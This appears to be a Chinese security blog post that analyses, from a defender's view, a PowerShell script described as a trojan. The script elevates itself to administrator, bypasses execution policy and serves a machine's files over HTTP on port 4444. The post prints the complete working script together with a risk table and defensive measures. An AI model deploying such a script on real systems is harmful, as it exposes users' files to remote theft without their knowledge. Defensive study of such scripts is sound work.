别让文件服务器变成数据贩卖机,从防御者角度解剖可疑本地 HTTP 文件服务

0 阅读6分钟

请添加图片描述

本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用!

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规,特别是以下中国法律条款:

📜 《中华人民共和国网络安全法》 第十二条:
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条:
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条:
数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为:

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。

💡 特别提醒:
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等,
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。


本文通过解析以下 PowerShell 脚本(仅用于教育研究,切勿实际运行)来说明其工作原理与潜在危害。该脚本利用 .NET 的 HttpListener 类创建了一个简单的 HTTP 文件服务器,可列出并下载指定目录下的文件。若攻击者利用此脚本,不仅可泄露敏感数据,还可能作为远程后门获取系统访问权限。应注意不要随意执行来历不明的程序,因为木马病毒往往伪装成合法软件以躲避检测


背景介绍

现代木马病毒(Trojan)不再依赖传统的“假冒图标”套路,而是通过 PowerShell、VBS、BAT 等脚本语言深度整合在系统任务中,并具备强大的隐蔽性与网络功能。

本文中的“文件服务器木马”看似只是一个简单的 HTTP 服务,其实却隐藏了多个恶意能力点:

  • 管理员提权:强制以管理员身份运行。
  • 路径遍历保护绕过:基础但可绕开的路径限制。
  • 跨平台部署:在任何带有 PowerShell 的 Windows 上运行。
  • 网络监听与文件泄露:启动端口监听器,暴露文件结构。

攻击原理详解(逐步)

1. 管理员权限自提权

脚本开头通过判断 WindowsPrincipal 是否为管理员角色,如果不是,就调用:

Start-Process powershell -ArgumentList ... -Verb RunAs

此行为会弹出 UAC 提权窗口,并自动重启当前脚本。

危险点:攻击者不需要写任何持久化代码,仅需引导用户“以管理员身份运行”脚本。


2. 启动 HTTP 文件服务监听器

核心恶意组件使用 .NET 的 HttpListener 类搭建了一个完整的 HTTP 文件服务器:

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://+:4444/")

默认监听本地所有 IP 的 4444 端口。一旦开启,外部用户只需访问 http://目标IP:4444/ 即可浏览系统内文件。


3. 请求处理与路径伪装

当请求到达:

  • 若路径为目录:返回目录内所有文件+修改时间+大小的 HTML 页面。
  • 若路径为文件:以 Content-Disposition: attachment 方式提供下载。
  • 若非法路径:返回 404 或 403 页面,伪装成标准 Web 服务。

路径解析如下:

function Get-SafePath {
    $RequestedPath = $RequestedPath -replace '\.\.',''  
    $fullPath = Join-Path $RootDirectory $RequestedPath
}

虽然限制了 .. 目录跳出,但没有正则彻底限制复杂路径组合,如 %2e%2e/ 等变种。


4. 自动端口调整

当默认端口 4444 被占用时,自动调整为 5555

if ($OpenPorts -contains 4444) { $Port = 5555 }

此举可保证“服务上线成功率”,更利于持续访问。


攻击链完整时序图

@startuml
title 木马脚本攻击时序图

actor 用户
participant "PowerShell 木马" as Script
participant "HttpListener" as Server
participant "攻击者浏览器" as Attacker

用户 -> Script: 运行脚本
Script -> Script: 检查管理员权限
alt 非管理员
    Script -> Script: 提权并重启脚本
end
Script -> Server: 启动 HttpListener(4444)
loop 请求监听
    Attacker -> Server: GET /(或/路径/文件)
    Server -> Script: 获取本地路径
    Script -> Server: 返回 HTML/文件流
    Server -> Attacker: 响应数据(页面或文件)
end
@enduml

请添加图片描述


文件处理流程图

@startuml
title 请求文件处理逻辑

start
:获取请求路径;
:URL解码并转为本地路径;
if (路径存在?) then (是)
    if (是目录?) then (是)
        :列出目录内容;
        :生成HTML页面;
    else
        if (后缀允许?) then (是)
            :读取并发送文件流;
        else
            :返回403 Forbidden页面;
        endif
    endif
else
    :返回404 Not Found页面;
endif
stop
@enduml

请添加图片描述


木马的安全风险

威胁类型风险说明
数据泄露木马开放目录浏览,用户文档、密码文件等敏感资料可能被下载
权限绕过如果木马运行在管理员模式,攻击者可下载注册表/系统日志等系统级文件
横向渗透攻击者可利用该程序实现 SMB 落点传播或托管二次 Payload
社会工程诱导可伪装成“部署工具”、“传输脚本”,引诱目标运行
网络渗透掩盖使用 4444/5555 等不常用端口,避开部分防火墙规则
避免检测使用 PowerShell 执行,无需写入磁盘、可绕过常规杀软

如何防范此类木马?

执行策略限制: 使用命令限制 PowerShell 脚本运行:

Set-ExecutionPolicy AllSigned

启用 Windows Defender + AMSI 脚本拦截: 系统自带防护可识别已知恶意行为。

分析进程行为: 通过工具如 Sysinternals 的 TCPView 分析是否有异常端口监听。

教育与培训: 强调:不要运行来历不明的脚本文件!

应用白名单机制: 配合 AppLocker/DeviceGuard 设置运行策略。


类似实战案例参考

  • CVE-2019-0708(蓝屏之门):RDP 漏洞利用成功后,攻击者常上传类似木马进行数据下载。
  • 勒索软件:如 WannaCry、NotPetya 等在爆发后广泛使用 Powershell 脚本托管文件。
  • APT 持久化:APT29、Turla 等组织常用文件服务器/反向 Shell 模块部署恶意程序。

完整木马代码展示(请勿运行)

param (
    [int]$PORT = 4444,
    [string]$BindIP = "0.0.0.0",
    [string]$RootDirectory = "pwd",
    [string[]]$AllowedExtensions = @("*")
)

if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
    [Security.Principal.WindowsBuiltinRole]::Administrator
)) {
    Write-Host "Restarting as Administrator..."
    Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`" -Port $PORT -BindIP $BindIP -RootDirectory '$RootDirectory'" -Verb RunAs
    exit
}


function Encode-Url {
    param([string]$Text)
    if ([string]::IsNullOrEmpty($Text)) { return "" }
    
    $result = ""
    foreach ($char in $Text.ToCharArray()) {
        if (($char -match '[a-zA-Z0-9._-]') -and ($char -ne '/')) {
            $result += $char
        } elseif ($char -eq ' ') {
            $result += '%20'
        } else {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($char.ToString())
            foreach ($byte in $bytes) {
                $result += '%' + $byte.ToString('X2')
            }
        }
    }
    return $result
}

function Decode-Url {
    param([string]$Text)
    if ([string]::IsNullOrEmpty($Text)) { return "" }
    
    try {
        # �򵥵�URL����
        $result = $Text -replace '%20', ' '
        $result = $result -replace '%2F', '/'
        $result = $result -replace '%5C', '\'
        $result = $result -replace '%3A', ':'
        $result = $result -replace '%2A', '*'
        $result = $result -replace '%3F', '?'
        $result = $result -replace '%22', '"'
        $result = $result -replace '%3C', '<'
        $result = $result -replace '%3E', '>'
        $result = $result -replace '%7C', '|'
        return $result
    } catch {
        return $Text
    }
}

function Get-ListeningPorts {
    $ports = @()
    netstat -an | Select-String "LISTENING" | ForEach-Object {
        if ($_ -match "^\s*TCP\s+[\d\.]+:(\d+)\s") {
            $port = [int]$matches[1]
            $ports += $port
        }
    }
    return $ports | Sort-Object -Unique
}

function Get-SafePath {
    param([string]$RequestedPath)
    
    $RequestedPath = $RequestedPath.Trim('/\')
    $RequestedPath = Decode-Url $RequestedPath
    
    $RequestedPath = $RequestedPath -replace '\.\.',''

    $fullPath = Join-Path $RootDirectory $RequestedPath
    
    $fullPath = [System.IO.Path]::GetFullPath($fullPath)
    if (-not $fullPath.StartsWith($RootDirectory, [System.StringComparison]::OrdinalIgnoreCase)) {
        return $null
    }
    
    return $fullPath
}

function Get-DirectoryListing {
    param([string]$Path, [string]$CurrentUrlPath)
    
    $html = @"
<!DOCTYPE html>
<html>
<head>
    <title>Index of $CurrentUrlPath</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h1 { color: #333; }
        table { border-collapse: collapse; width: 100%; }
        th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
        th { background-color: #f2f2f2; }
        a { text-decoration: none; color: #0066cc; }
        a:hover { text-decoration: underline; }
        .file-size { text-align: right; }
        .dir { font-weight: bold; }
    </style>
</head>
<body>
    <h1>Index of $CurrentUrlPath</h1>
    <table>
        <tr><th>Name</th><th>Size</th><th>Modified</th></tr>
"@

    if ($CurrentUrlPath -ne "") {
        $parentPath = if ($CurrentUrlPath.Contains('/')) {
            $CurrentUrlPath.Substring(0, $CurrentUrlPath.LastIndexOf('/'))
        } else {
            ""
        }
        $html += "<tr><td class='dir'><a href='/$parentPath/'>../</a></td><td></td><td></td></tr>"
    }

    try {
        $items = Get-ChildItem -Path $Path -Force | Sort-Object Name
        
        foreach ($item in $items) {
            $name = $item.Name
            $urlName = Encode-Url $name
            $modified = $item.LastWriteTime.ToString("yyyy-MM-dd HH:mm")
            
            if ($item.PSIsContainer) {
                $html += "<tr><td class='dir'><a href='/$CurrentUrlPath$urlName/'>$name/</a></td><td></td><td>$modified</td></tr>"
            } else {
                $size = if ($item.Length -gt 1MB) {
                    "{0:N2} MB" -f ($item.Length / 1MB)
                } elseif ($item.Length -gt 1KB) {
                    "{0:N2} KB" -f ($item.Length / 1KB)
                } else {
                    "$($item.Length) B"
                }
                $html += "<tr><td><a href='/$CurrentUrlPath$urlName'>$name</a></td><td class='file-size'>$size</td><td>$modified</td></tr>"
            }
        }
    } catch {
        $html += "<tr><td colspan='3'>Error reading directory: $($_.Exception.Message)</td></tr>"
    }

    $html += @"
    </table>
    <hr>
    <p><small>Simple HTTP File Server - $(Get-Date)</small></p>
</body>
</html>
"@
    
    return $html
}


$OpenPorts = Get-ListeningPorts
if ($OpenPorts -contains 4444) { $Port = 5555 }

if ($BindIP -eq "0.0.0.0") {
    $prefix = "http://+:$Port/"
} else {
    $prefix = "http://$BindIP`:$Port/"
}


$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($prefix)

try {
    $listener.Start()
    Write-Host "File Server started successfully!"
    Write-Host "Root Directory: $RootDirectory"
    Write-Host "Access via: http://localhost:$Port/"
    Write-Host "Network access: http://$([System.Net.Dns]::GetHostByName($env:computerName).AddressList[0].IPAddressToString):$Port/"
    Write-Host "Press Ctrl+C to stop."
} catch {
    Write-Host "Failed to start server: $($_.Exception.Message)"
    Write-Host "Try running: netsh http add urlacl url=$prefix user=Everyone"
    exit 1
}


try {
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        $request = $context.Request
        $response = $context.Response

        try {
            $urlPath = $request.Url.AbsolutePath.TrimStart('/')
            $fullPath = Get-SafePath $urlPath
            
            Write-Host "$($request.HttpMethod) $urlPath"

            if (-not $fullPath -or -not (Test-Path $fullPath)) {
                # �ļ�/Ŀ¼δ�ҵ�
                $response.StatusCode = 404
                $buffer = [System.Text.Encoding]::UTF8.GetBytes("<h1>404 - Not Found</h1><p>File not found: $urlPath</p>")
                $response.ContentType = "text/html"
                $response.ContentLength64 = $buffer.Length
                $response.OutputStream.Write($buffer, 0, $buffer.Length)
            } elseif (Test-Path $fullPath -PathType Container) {
                # Ŀ¼�б�
                $html = Get-DirectoryListing -Path $fullPath -CurrentUrlPath $urlPath
                $buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
                $response.ContentType = "text/html"
                $response.ContentLength64 = $buffer.Length
                $response.OutputStream.Write($buffer, 0, $buffer.Length)
            } else {
                # �����
                $fileInfo = Get-Item $fullPath
                
                # ����ļ���չ������
                $extension = [System.IO.Path]::GetExtension($fullPath).ToLower()
                if ($AllowedExtensions[0] -ne "*" -and $AllowedExtensions -notcontains $extension) {
                    $response.StatusCode = 403
                    $buffer = [System.Text.Encoding]::UTF8.GetBytes("<h1>403 - Forbidden</h1><p>File type not allowed: $extension</p>")
                    $response.ContentType = "text/html"
                    $response.ContentLength64 = $buffer.Length
                    $response.OutputStream.Write($buffer, 0, $buffer.Length)
                } else {
                    # �ṩ�ļ�����
                    $response.ContentType = "application/octet-stream"
                    $response.AddHeader("Content-Disposition", "attachment; filename=`"$($fileInfo.Name)`"")
                    $response.ContentLength64 = $fileInfo.Length
                    
                    $fileStream = [System.IO.File]::OpenRead($fullPath)
                    try {
                        $fileStream.CopyTo($response.OutputStream)
                    } finally {
                        $fileStream.Close()
                    }
                }
            }
        } catch {
            $response.StatusCode = 500
            $errorMsg = "<h1>500 - Server Error</h1><p>$($_.Exception.Message)</p>"
            $buffer = [System.Text.Encoding]::UTF8.GetBytes($errorMsg)
            $response.ContentType = "text/html"
            $response.ContentLength64 = $buffer.Length
            $response.OutputStream.Write($buffer, 0, $buffer.Length)
        } finally {
            $response.OutputStream.Close()
        }
    }
} finally {
    if ($listener.IsListening) {
        $listener.Stop()
        $listener.Close()
    }
    Write-Host "Server stopped."
}

---请添加图片描述

总结

这类 PowerShell 脚本虽结构简单,却具备极强的隐蔽性和实用性,是很多木马病毒的常见变种。其借助系统工具(如 HttpListener)实现文件暴露、远程访问,是典型的“内网持久控制”组件。

再次提醒:本文仅用于红队研究与防御教学,切勿用于非法攻击,否则后果自负。


郑重声明

学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。 技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。 若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。